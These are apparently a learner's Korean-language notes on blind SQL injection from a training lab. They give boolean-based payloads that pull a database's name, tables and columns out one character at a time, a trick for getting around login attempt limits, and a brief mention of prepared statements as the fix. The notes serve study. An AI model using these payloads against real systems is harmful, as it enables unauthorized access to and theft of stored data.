결과가 나왔다는 것은 SQL injection이 가능함을 말해줌
질의문을 계속 날려서 공격함.(스무고개)
over%' and '1%' = '1
over%' and (1=1) and '1%' = '1
over%' and ('test'='test') and '1%' = '1
over%' and ((select 'test')='test') and '1%' = '1
over%' and (ascii('t') > 0) and '1%' = '1
over%' and (ascii(substring(('test'), 1, 1)) > 0) and '1%' = '1
over%' and (ascii(substring((select 'test'), 1, 1)) > 0) and '1%' = '1
최종 form: over%' and (ascii(substring((SQL), 1, 1)) > 0) and '1%' = '1 //SQL에 원하는 SQL문을 넣으면 된다.
select database()
over%' and (ascii(substring((select database()), 1, 1)) > 0) and '1%' = '1
select table_name from information_schema.tables
where tables_schema = 'DB명'
over%' and (ascii(substring((select table_name
from information_schema.tables
where table_schema = 'segfault_sql' limit 0,1), 1, 1)) > 0)
and '1%' = '1
select column_name from information_schema.columns
where table_name = 'member'
over%' and (ascii(substring((select column_name
from information_schema.columns
where table_name = 'member'), 1, 1)) > 0) and '1%' = '1
sql = "select ~~~~ ? ?" $_GET['name']
-> 미리 컴파일해서 ?에 넣음.
1) 로그인 횟수 제한있다? -> 할 수 있다.
ID: admin' and (조건) and '1' = '1
-> 아이디가 계속 바뀌기 때문에 카운트를 처음부터 하기 때문
2) 마법의 SQLI 코드는 없음. 서버마다 다르기 때문.
3) 대소문자를 구분 못하는 경우가 DB마다 있음.
4) sql injection이 안 먹히는 경우가 있을 수 있는데 공유기가 SQLI 공격을 받는 줄 알고 차단하는 경우가 있음.